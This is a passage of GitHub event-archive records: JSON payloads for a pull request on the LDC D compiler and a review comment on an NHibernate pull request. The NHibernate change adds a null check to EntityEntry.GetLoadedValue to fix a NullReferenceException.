#3041.","created_at":"2019-03-29T22:35:04Z","updated_at":"2019-03-29T22:36:20Z","closed_at":null,"merged_at":null,"merge_commit_sha":"92f5b929b7ed0eb583bd4ca503467a360e1294cf","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/ldc-developers/ldc/pulls/3042/commits","review_comments_url":"https://api.github.com/repos/ldc-developers/ldc/pulls/3042/comments","review_comment_url":"https://api.github.com/repos/ldc-developers/ldc/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ldc-developers/ldc/issues/3042/comments","statuses_url":"https://api.github.com/repos/ldc-developers/ldc/statuses/491310e9ca57025b688dc46e619f1d319a089755","head":{"label":"kinke:fix3041","ref":"fix3041","sha":"491310e9ca57025b688dc46e619f1d319a089755","user":{"login":"kinke","id":1889215,"node_id":"MDQ6VXNlcjE4ODkyMTU=","avatar_url":"https://avatars0.githubusercontent.com/u/1889215?v=4","gravatar_id":"","url":"https://api.github.com/users/kinke","html_url":"https://github.com/kinke","followers_url":"https://api.github.com/users/kinke/followers","following_url":"https://api.github.com/users/kinke/following{/other_user}","gists_url":"https://api.github.com/users/kinke/gists{/gist_id}","starred_url":"https://api.github.com/users/kinke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kinke/subscriptions","organizations_url":"https://api.github.com/users/kinke/orgs","repos_url":"https://api.github.com/users/kinke/repos","events_url":"https://api.github.com/users/kinke/events{/privacy}","received_events_url":"https://api.github.com/users/kinke/received_events","type":"User","site_admin":false},"repo":{"id":7853031,"node_id":"MDEwOlJlcG9zaXRvcnk3ODUzMDMx","name":"ldc","full_name":"kinke/ldc","private":false,"owner":{"login":"kinke","id":1889215,"node_id":"MDQ6VXNlcjE4ODkyMTU=","avatar_url":"https://avatars0.githubusercontent.com/u/1889215?v=4","gravatar_id":"","url":"https://api.github.com/users/kinke","html_url":"https://github.com/kinke","followers_url":"https://api.github.com/users/kinke/followers","following_url":"https://api.github.com/users/kinke/following{/other_user}","gists_url":"https://api.github.com/users/kinke/gists{/gist_id}","starred_url":"https://api.github.com/users/kinke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kinke/subscriptions","organizations_url":"https://api.github.com/users/kinke/orgs","repos_url":"https://api.github.com/users/kinke/repos","events_url":"https://api.github.com/users/kinke/events{/privacy}","received_events_url":"https://api.github.com/users/kinke/received_events","type":"User","site_admin":false},"html_url":"https://github.com/kinke/ldc","description":"The LLVM D compiler.","fork":true,"url":"https://api.github.com/repos/kinke/ldc","forks_url":"https://api.github.com/repos/kinke/ldc/forks","keys_url":"https://api.github.com/repos/kinke/ldc/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kinke/ldc/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kinke/ldc/teams","hooks_url":"https://api.github.com/repos/kinke/ldc/hooks","issue_events_url":"https://api.github.com/repos/kinke/ldc/issues/events{/number}","events_url":"https://api.github.com/repos/kinke/ldc/events","assignees_url":"https://api.github.com/repos/kinke/ldc/assignees{/user}","branches_url":"https://api.github.com/repos/kinke/ldc/branches{/branch}","tags_url":"https://api.github.com/repos/kinke/ldc/tags","blobs_url":"https://api.github.com/repos/kinke/ldc/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kinke/ldc/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kinke/ldc/git/refs{/sha}","trees_url":"https://api.github.com/repos/kinke/ldc/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kinke/ldc/statuses/{sha}","languages_url":"https://api.github.com/repos/kinke/ldc/languages","stargazers_url":"https://api.github.com/repos/kinke/ldc/stargazers","contributors_url":"https://api.github.com/repos/kinke/ldc/contributors","subscribers_url":"https://api.github.com/repos/kinke/ldc/subscribers","subscription_url":"https://api.github.com/repos/kinke/ldc/subscription","commits_url":"https://api.github.com/repos/kinke/ldc/commits{/sha}","git_commits_url":"https://api.github.com/repos/kinke/ldc/git/commits{/sha}","comments_url":"https://api.github.com/repos/kinke/ldc/comments{/number}","issue_comment_url":"https://api.github.com/repos/kinke/ldc/issues/comments{/number}","contents_url":"https://api.github.com/repos/kinke/ldc/contents/{+path}","compare_url":"https://api.github.com/repos/kinke/ldc/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kinke/ldc/merges","archive_url":"https://api.github.com/repos/kinke/ldc/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kinke/ldc/downloads","issues_url":"https://api.github.com/repos/kinke/ldc/issues{/number}","pulls_url":"https://api.github.com/repos/kinke/ldc/pulls{/number}","milestones_url":"https://api.github.com/repos/kinke/ldc/milestones{/number}","notifications_url":"https://api.github.com/repos/kinke/ldc/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kinke/ldc/labels{/name}","releases_url":"https://api.github.com/repos/kinke/ldc/releases{/id}","deployments_url":"https://api.github.com/repos/kinke/ldc/deployments","created_at":"2013-01-27T14:20:48Z","updated_at":"2018-10-05T19:55:31Z","pushed_at":"2019-03-29T22:34:45Z","git_url":"git://github.com/kinke/ldc.git","ssh_url":"git@github.com:kinke/ldc.git","clone_url":"https://github.com/kinke/ldc.git","svn_url":"https://github.com/kinke/ldc","homepage":"http://wiki.dlang.org/LDC","size":31214,"stargazers_count":0,"watchers_count":0,"language":"D","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"win64"}},"base":{"label":"ldc-developers:master","ref":"master","sha":"8f81d0797b7cb4bc44aeb6565366a8d31945b8c4","user":{"login":"ldc-developers","id":960112,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk2MDExMg==","avatar_url":"https://avatars2.githubusercontent.com/u/960112?v=4","gravatar_id":"","url":"https://api.github.com/users/ldc-developers","html_url":"https://github.com/ldc-developers","followers_url":"https://api.github.com/users/ldc-developers/followers","following_url":"https://api.github.com/users/ldc-developers/following{/other_user}","gists_url":"https://api.github.com/users/ldc-developers/gists{/gist_id}","starred_url":"https://api.github.com/users/ldc-developers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ldc-developers/subscriptions","organizations_url":"https://api.github.com/users/ldc-developers/orgs","repos_url":"https://api.github.com/users/ldc-developers/repos","events_url":"https://api.github.com/users/ldc-developers/events{/privacy}","received_events_url":"https://api.github.com/users/ldc-developers/received_events","type":"Organization","site_admin":false},"repo":{"id":2174666,"node_id":"MDEwOlJlcG9zaXRvcnkyMTc0NjY2","name":"ldc","full_name":"ldc-developers/ldc","private":false,"owner":{"login":"ldc-developers","id":960112,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk2MDExMg==","avatar_url":"https://avatars2.githubusercontent.com/u/960112?v=4","gravatar_id":"","url":"https://api.github.com/users/ldc-developers","html_url":"https://github.com/ldc-developers","followers_url":"https://api.github.com/users/ldc-developers/followers","following_url":"https://api.github.com/users/ldc-developers/following{/other_user}","gists_url":"https://api.github.com/users/ldc-developers/gists{/gist_id}","starred_url":"https://api.github.com/users/ldc-developers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ldc-developers/subscriptions","organizations_url":"https://api.github.com/users/ldc-developers/orgs","repos_url":"https://api.github.com/users/ldc-developers/repos","events_url":"https://api.github.com/users/ldc-developers/events{/privacy}","received_events_url":"https://api.github.com/users/ldc-developers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ldc-developers/ldc","description":"The LLVM-based D Compiler.","fork":false,"url":"https://api.github.com/repos/ldc-developers/ldc","forks_url":"https://api.github.com/repos/ldc-developers/ldc/forks","keys_url":"https://api.github.com/repos/ldc-developers/ldc/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ldc-developers/ldc/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ldc-developers/ldc/teams","hooks_url":"https://api.github.com/repos/ldc-developers/ldc/hooks","issue_events_url":"https://api.github.com/repos/ldc-developers/ldc/issues/events{/number}","events_url":"https://api.github.com/repos/ldc-developers/ldc/events","assignees_url":"https://api.github.com/repos/ldc-developers/ldc/assignees{/user}","branches_url":"https://api.github.com/repos/ldc-developers/ldc/branches{/branch}","tags_url":"https://api.github.com/repos/ldc-developers/ldc/tags","blobs_url":"https://api.github.com/repos/ldc-developers/ldc/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ldc-developers/ldc/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ldc-developers/ldc/git/refs{/sha}","trees_url":"https://api.github.com/repos/ldc-developers/ldc/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ldc-developers/ldc/statuses/{sha}","languages_url":"https://api.github.com/repos/ldc-developers/ldc/languages","stargazers_url":"https://api.github.com/repos/ldc-developers/ldc/stargazers","contributors_url":"https://api.github.com/repos/ldc-developers/ldc/contributors","subscribers_url":"https://api.github.com/repos/ldc-developers/ldc/subscribers","subscription_url":"https://api.github.com/repos/ldc-developers/ldc/subscription","commits_url":"https://api.github.com/repos/ldc-developers/ldc/commits{/sha}","git_commits_url":"https://api.github.com/repos/ldc-developers/ldc/git/commits{/sha}","comments_url":"https://api.github.com/repos/ldc-developers/ldc/comments{/number}","issue_comment_url":"https://api.github.com/repos/ldc-developers/ldc/issues/comments{/number}","contents_url":"https://api.github.com/repos/ldc-developers/ldc/contents/{+path}","compare_url":"https://api.github.com/repos/ldc-developers/ldc/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ldc-developers/ldc/merges","archive_url":"https://api.github.com/repos/ldc-developers/ldc/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ldc-developers/ldc/downloads","issues_url":"https://api.github.com/repos/ldc-developers/ldc/issues{/number}","pulls_url":"https://api.github.com/repos/ldc-developers/ldc/pulls{/number}","milestones_url":"https://api.github.com/repos/ldc-developers/ldc/milestones{/number}","notifications_url":"https://api.github.com/repos/ldc-developers/ldc/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ldc-developers/ldc/labels{/name}","releases_url":"https://api.github.com/repos/ldc-developers/ldc/releases{/id}","deployments_url":"https://api.github.com/repos/ldc-developers/ldc/deployments","created_at":"2011-08-08T17:10:27Z","updated_at":"2019-03-29T16:06:42Z","pushed_at":"2019-03-29T22:35:05Z","git_url":"git://github.com/ldc-developers/ldc.git","ssh_url":"git@github.com:ldc-developers/ldc.git","clone_url":"https://github.com/ldc-developers/ldc.git","svn_url":"https://github.com/ldc-developers/ldc","homepage":"http://wiki.dlang.org/LDC","size":31640,"stargazers_count":776,"watchers_count":776,"language":"D","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":164,"mirror_url":null,"archived":false,"open_issues_count":275,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":164,"open_issues":275,"watchers":776,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ldc-developers/ldc/pulls/3042"},"html":{"href":"https://github.com/ldc-developers/ldc/pull/3042"},"issue":{"href":"https://api.github.com/repos/ldc-developers/ldc/issues/3042"},"comments":{"href":"https://api.github.com/repos/ldc-developers/ldc/issues/3042/comments"},"review_comments":{"href":"https://api.github.com/repos/ldc-developers/ldc/pulls/3042/comments"},"review_comment":{"href":"https://api.github.com/repos/ldc-developers/ldc/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ldc-developers/ldc/pulls/3042/commits"},"statuses":{"href":"https://api.github.com/repos/ldc-developers/ldc/statuses/491310e9ca57025b688dc46e619f1d319a089755"}},"author_association":"MEMBER"}}
|
{
"id": 2174666,
"name": "ldc-developers/ldc",
"url": "https://api.github.com/repos/ldc-developers/ldc"
}
|
{
"id": 1889215,
"login": "kinke",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1889215?",
"url": "https://api.github.com/users/kinke"
}
|
{
"id": 960112,
"login": "ldc-developers",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/960112?",
"url": "https://api.github.com/orgs/ldc-developers"
}
| 2019-03-29T22:36:20 |
9344388788
|
{"actor":{"display_login":"kinke"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/comments/277163624","pull_request_review_id":228908508,"id":277163624,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3NzE2MzYyNA==","diff_hunk":"@@ -205,6 +205,7 @@ public EntityKey EntityKey\n \n \t\tpublic object GetLoadedValue(string propertyName)\n \t\t{\n+\t\t\tif (loadedState == null) return null;","path":"src/NHibernate/Engine/EntityEntry.cs","position":4,"original_position":4,"commit_id":"49d052924bc00c07f3689d789c04dbdfcd314cee","original_commit_id":"49d052924bc00c07f3689d789c04dbdfcd314cee","user":{"login":"picbeats","id":4579413,"node_id":"MDQ6VXNlcjQ1Nzk0MTM=","avatar_url":"https://avatars1.githubusercontent.com/u/4579413?v=4","gravatar_id":"","url":"https://api.github.com/users/picbeats","html_url":"https://github.com/picbeats","followers_url":"https://api.github.com/users/picbeats/followers","following_url":"https://api.github.com/users/picbeats/following{/other_user}","gists_url":"https://api.github.com/users/picbeats/gists{/gist_id}","starred_url":"https://api.github.com/users/picbeats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/picbeats/subscriptions","organizations_url":"https://api.github.com/users/picbeats/orgs","repos_url":"https://api.github.com/users/picbeats/repos","events_url":"https://api.github.com/users/picbeats/events{/privacy}","received_events_url":"https://api.github.com/users/picbeats/received_events","type":"User","site_admin":false},"body":"https://github.com/nhibernate/nhibernate-core/issues/2137","created_at":"2019-04-21T11:19:48Z","updated_at":"2019-04-21T11:19:48Z","html_url":"https://github.com/nhibernate/nhibernate-core/pull/2136#discussion_r277163624","pull_request_url":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/2136","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/comments/277163624"},"html":{"href":"https://github.com/nhibernate/nhibernate-core/pull/2136#discussion_r277163624"},"pull_request":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/2136"}},"in_reply_to_id":277125248},"pull_request":{"url":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/2136","id":272040644,"node_id":"MDExOlB1bGxSZXF1ZXN0MjcyMDQwNjQ0","html_url":"https://github.com/nhibernate/nhibernate-core/pull/2136","diff_url":"https://github.com/nhibernate/nhibernate-core/pull/2136.diff","patch_url":"https://github.com/nhibernate/nhibernate-core/pull/2136.patch","issue_url":"https://api.github.com/repos/nhibernate/nhibernate-core/issues/2136","number":2136,"state":"open","locked":false,"title":"Fix NullReferenceException in EntityEntry.GetLoadedValue while Update…","user":{"login":"picbeats","id":4579413,"node_id":"MDQ6VXNlcjQ1Nzk0MTM=","avatar_url":"https://avatars1.githubusercontent.com/u/4579413?v=4","gravatar_id":"","url":"https://api.github.com/users/picbeats","html_url":"https://github.com/picbeats","followers_url":"https://api.github.com/users/picbeats/followers","following_url":"https://api.github.com/users/picbeats/following{/other_user}","gists_url":"https://api.github.com/users/picbeats/gists{/gist_id}","starred_url":"https://api.github.com/users/picbeats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/picbeats/subscriptions","organizations_url":"https://api.github.com/users/picbeats/orgs","repos_url":"https://api.github.com/users/picbeats/repos","events_url":"https://api.github.com/users/picbeats/events{/privacy}","received_events_url":"https://api.github.com/users/picbeats/received_events","type":"User","site_admin":false},"body":"… on detached entity with null logical one-to-one reference\r\nI had to apply this fix, to make 5.2.3 work with our system after migration from 4.0.0\r\nThe use case is rather exotic and triggered an exception on not so nice written test code, using entity, having a dependent one to many (effective one-to-one) child. In first session the entity is inserted (the child entity as a property is not set), than the entity is modified and updated in a second session (detached). Result was a NullReferenceException in EntityEntry.GetLoadedValue. The entity was never loaded from database, so loadedState is null. I added the check if the loaded state is null, and modified Cascade(Async).CascadeProperty to handle EntityEntry.GetLoadedValue returning a null safely.\r\nWith this fix it pass all tests and works fine on our system. I didn't find out how to add a test though..","created_at":"2019-04-19T16:45:47Z","updated_at":"2019-04-21T11:19:48Z","closed_at":null,"merged_at":null,"merge_commit_sha":"22b551bc5f47fd3ceb95b3d505eacd97652f26d1","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/2136/commits","review_comments_url":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/2136/comments","review_comment_url":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/comments{/number}","comments_url":"https://api.github.com/repos/nhibernate/nhibernate-core/issues/2136/comments","statuses_url":"https://api.github.com/repos/nhibernate/nhibernate-core/statuses/49d052924bc00c07f3689d789c04dbdfcd314cee","head":{"label":"picbeats:5.2.5-FixNullReferenceException","ref":"5.2.5-FixNullReferenceException","sha":"49d052924bc00c07f3689d789c04dbdfcd314cee","user":{"login":"picbeats","id":4579413,"node_id":"MDQ6VXNlcjQ1Nzk0MTM=","avatar_url":"https://avatars1.githubusercontent.com/u/4579413?v=4","gravatar_id":"","url":"https://api.github.com/users/picbeats","html_url":"https://github.com/picbeats","followers_url":"https://api.github.com/users/picbeats/followers","following_url":"https://api.github.com/users/picbeats/following{/other_user}","gists_url":"https://api.github.com/users/picbeats/gists{/gist_id}","starred_url":"https://api.github.com/users/picbeats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/picbeats/subscriptions","organizations_url":"https://api.github.com/users/picbeats/orgs","repos_url":"https://api.github.com/users/picbeats/repos","events_url":"https://api.github.com/users/picbeats/events{/privacy}","received_events_url":"https://api.github.com/users/picbeats/received_events","type":"User","site_admin":false},"repo":{"id":167572494,"node_id":"MDEwOlJlcG9zaXRvcnkxNjc1NzI0OTQ=","name":"nhibernate-core","full_name":"picbeats/nhibernate-core","private":false,"owner":{"login":"picbeats","id":4579413,"node_id":"MDQ6VXNlcjQ1Nzk0MTM=","avatar_url":"https://avatars1.githubusercontent.com/u/4579413?v=4","gravatar_id":"","url":"https://api.github.com/users/picbeats","html_url":"https://github.com/picbeats","followers_url":"https://api.github.com/users/picbeats/followers","following_url":"https://api.github.com/users/picbeats/following{/other_user}","gists_url":"https://api.github.com/users/picbeats/gists{/gist_id}","starred_url":"https://api.github.com/users/picbeats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/picbeats/subscriptions","organizations_url":"https://api.github.com/users/picbeats/orgs","repos_url":"https://api.github.com/users/picbeats/repos","events_url":"https://api.github.com/users/picbeats/events{/privacy}","received_events_url":"https://api.github.com/users/picbeats/received_events","type":"User","site_admin":false},"html_url":"https://github.com/picbeats/nhibernate-core","description":"NHibernate Object Relational Mapper","fork":true,"url":"https://api.github.com/repos/picbeats/nhibernate-core","forks_url":"https://api.github.com/repos/picbeats/nhibernate-core/forks","keys_url":"https://api.github.com/repos/picbeats/nhibernate-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/picbeats/nhibernate-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/picbeats/nhibernate-core/teams","hooks_url":"https://api.github.com/repos/picbeats/nhibernate-core/hooks","issue_events_url":"https://api.github.com/repos/picbeats/nhibernate-core/issues/events{/number}","events_url":"https://api.github.com/repos/picbeats/nhibernate-core/events","assignees_url":"https://api.github.com/repos/picbeats/nhibernate-core/assignees{/user}","branches_url":"https://api.github.com/repos/picbeats/nhibernate-core/branches{/branch}","tags_url":"https://api.github.com/repos/picbeats/nhibernate-core/tags","blobs_url":"https://api.github.com/repos/picbeats/nhibernate-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/picbeats/nhibernate-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/picbeats/nhibernate-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/picbeats/nhibernate-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/picbeats/nhibernate-core/statuses/{sha}","languages_url":"https://api.github.com/repos/picbeats/nhibernate-core/languages","stargazers_url":"https://api.github.com/repos/picbeats/nhibernate-core/stargazers","contributors_url":"https://api.github.com/repos/picbeats/nhibernate-core/contributors","subscribers_url":"https://api.github.com/repos/picbeats/nhibernate-core/subscribers","subscription_url":"https://api.github.com/repos/picbeats/nhibernate-core/subscription","commits_url":"https://api.github.com/repos/picbeats/nhibernate-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/picbeats/nhibernate-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/picbeats/nhibernate-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/picbeats/nhibernate-core/issues/comments{/number}","contents_url":"https://api.github.com/repos/picbeats/nhibernate-core/contents/{+path}","compare_url":"https://api.github.com/repos/picbeats/nhibernate-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/picbeats/nhibernate-core/merges","archive_url":"https://api.github.com/repos/picbeats/nhibernate-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/picbeats/nhibernate-core/downloads","issues_url":"https://api.github.com/repos/picbeats/nhibernate-core/issues{/number}","pulls_url":"https://api.github.com/repos/picbeats/nhibernate-core/pulls{/number}","milestones_url":"https://api.github.com/repos/picbeats/nhibernate-core/milestones{/number}","notifications_url":"https://api.github.com/repos/picbeats/nhibernate-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/picbeats/nhibernate-core/labels{/name}","releases_url":"https://api.github.com/repos/picbeats/nhibernate-core/releases{/id}","deployments_url":"https://api.github.com/repos/picbeats/nhibernate-core/deployments","created_at":"2019-01-25T15:53:23Z","updated_at":"2019-01-25T15:53:38Z","pushed_at":"2019-04-19T16:18:55Z","git_url":"git://github.com/picbeats/nhibernate-core.git","ssh_url":"git@github.com:picbeats/nhibernate-core.git","clone_url":"https://github.com/picbeats/nhibernate-core.git","svn_url":"https://github.com/picbeats/nhibernate-core","homepage":"https://nhibernate.info","size":86338,"stargazers_count":0,"watchers_count":0,"language":"C#","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-2.1","name":"GNU Lesser General Public License v2.1","spdx_id":"LGPL-2.1","url":"https://api.github.com/licenses/lgpl-2.1","node_id":"MDc6TGljZW5zZTEx"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"nhibernate:5.2.x","ref":"5.2.x","sha":"88411b77288da44d9ea3c9a0fff7ce220667ea5d","user":{"login":"nhibernate","id":961041,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk2MTA0MQ==","avatar_url":"https://avatars3.githubusercontent.com/u/961041?v=4","gravatar_id":"","url":"https://api.github.com/users/nhibernate","html_url":"https://github.com/nhibernate","followers_url":"https://api.github.com/users/nhibernate/followers","following_url":"https://api.github.com/users/nhibernate/following{/other_user}","gists_url":"https://api.github.com/users/nhibernate/gists{/gist_id}","starred_url":"https://api.github.com/users/nhibernate/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nhibernate/subscriptions","organizations_url":"https://api.github.com/users/nhibernate/orgs","repos_url":"https://api.github.com/users/nhibernate/repos","events_url":"https://api.github.com/users/nhibernate/events{/privacy}","received_events_url":"https://api.github.com/users/nhibernate/received_events","type":"Organization","site_admin":false},"repo":{"id":2206199,"node_id":"MDEwOlJlcG9zaXRvcnkyMjA2MTk5","name":"nhibernate-core","full_name":"nhibernate/nhibernate-core","private":false,"owner":{"login":"nhibernate","id":961041,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk2MTA0MQ==","avatar_url":"https://avatars3.githubusercontent.com/u/961041?v=4","gravatar_id":"","url":"https://api.github.com/users/nhibernate","html_url":"https://github.com/nhibernate","followers_url":"https://api.github.com/users/nhibernate/followers","following_url":"https://api.github.com/users/nhibernate/following{/other_user}","gists_url":"https://api.github.com/users/nhibernate/gists{/gist_id}","starred_url":"https://api.github.com/users/nhibernate/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nhibernate/subscriptions","organizations_url":"https://api.github.com/users/nhibernate/orgs","repos_url":"https://api.github.com/users/nhibernate/repos","events_url":"https://api.github.com/users/nhibernate/events{/privacy}","received_events_url":"https://api.github.com/users/nhibernate/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/nhibernate/nhibernate-core","description":"NHibernate Object Relational Mapper","fork":false,"url":"https://api.github.com/repos/nhibernate/nhibernate-core","forks_url":"https://api.github.com/repos/nhibernate/nhibernate-core/forks","keys_url":"https://api.github.com/repos/nhibernate/nhibernate-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nhibernate/nhibernate-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nhibernate/nhibernate-core/teams","hooks_url":"https://api.github.com/repos/nhibernate/nhibernate-core/hooks","issue_events_url":"https://api.github.com/repos/nhibernate/nhibernate-core/issues/events{/number}","events_url":"https://api.github.com/repos/nhibernate/nhibernate-core/events","assignees_url":"https://api.github.com/repos/nhibernate/nhibernate-core/assignees{/user}","branches_url":"https://api.github.com/repos/nhibernate/nhibernate-core/branches{/branch}","tags_url":"https://api.github.com/repos/nhibernate/nhibernate-core/tags","blobs_url":"https://api.github.com/repos/nhibernate/nhibernate-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nhibernate/nhibernate-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nhibernate/nhibernate-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/nhibernate/nhibernate-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nhibernate/nhibernate-core/statuses/{sha}","languages_url":"https://api.github.com/repos/nhibernate/nhibernate-core/languages","stargazers_url":"https://api.github.com/repos/nhibernate/nhibernate-core/stargazers","contributors_url":"https://api.github.com/repos/nhibernate/nhibernate-core/contributors","subscribers_url":"https://api.github.com/repos/nhibernate/nhibernate-core/subscribers","subscription_url":"https://api.github.com/repos/nhibernate/nhibernate-core/subscription","commits_url":"https://api.github.com/repos/nhibernate/nhibernate-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/nhibernate/nhibernate-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/nhibernate/nhibernate-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/nhibernate/nhibernate-core/issues/comments{/number}","contents_url":"https://api.github.com/repos/nhibernate/nhibernate-core/contents/{+path}","compare_url":"https://api.github.com/repos/nhibernate/nhibernate-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nhibernate/nhibernate-core/merges","archive_url":"https://api.github.com/repos/nhibernate/nhibernate-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nhibernate/nhibernate-core/downloads","issues_url":"https://api.github.com/repos/nhibernate/nhibernate-core/issues{/number}","pulls_url":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls{/number}","milestones_url":"https://api.github.com/repos/nhibernate/nhibernate-core/milestones{/number}","notifications_url":"https://api.github.com/repos/nhibernate/nhibernate-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nhibernate/nhibernate-core/labels{/name}","releases_url":"https://api.github.com/repos/nhibernate/nhibernate-core/releases{/id}","deployments_url":"https://api.github.com/repos/nhibernate/nhibernate-core/deployments","created_at":"2011-08-14T17:51:09Z","updated_at":"2019-04-20T15:10:33Z","pushed_at":"2019-04-19T16:45:48Z","git_url":"git://github.com/nhibernate/nhibernate-core.git","ssh_url":"git@github.com:nhibernate/nhibernate-core.git","clone_url":"https://github.com/nhibernate/nhibernate-core.git","svn_url":"https://github.com/nhibernate/nhibernate-core","homepage":"https://nhibernate.info","size":87131,"stargazers_count":1581,"watchers_count":1581,"language":"C#","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":816,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":617,"license":{"key":"lgpl-2.1","name":"GNU Lesser General Public License v2.1","spdx_id":"LGPL-2.1","url":"https://api.github.com/licenses/lgpl-2.1","node_id":"MDc6TGljZW5zZTEx"},"forks":816,"open_issues":617,"watchers":1581,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/2136"},"html":{"href":"https://github.com/nhibernate/nhibernate-core/pull/2136"},"issue":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/issues/2136"},"comments":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/issues/2136/comments"},"review_comments":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/2136/comments"},"review_comment":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/pulls/2136/commits"},"statuses":{"href":"https://api.github.com/repos/nhibernate/nhibernate-core/statuses/49d052924bc00c07f3689d789c04dbdfcd314cee"}},"author_association":"NONE"}}
|
{
"id": 2206199,
"name": "nhibernate/nhibernate-core",
"url": "https://api.github.com/repos/nhibernate/nhibernate-core"
}
|
{
"id": 4579413,
"login": "picbeats",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/4579413?",
"url": "https://api.github.com/users/picbeats"
}
|
{
"id": 961041,
"login": "nhibernate",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/961041?",
"url": "https://api.github.com/orgs/nhibernate"
}
| 2019-04-21T11:19:48 |
9482021521
|
{"actor":{"display_login":"picbeats"}}
|
PullRequestReviewCommentEvent
| true |
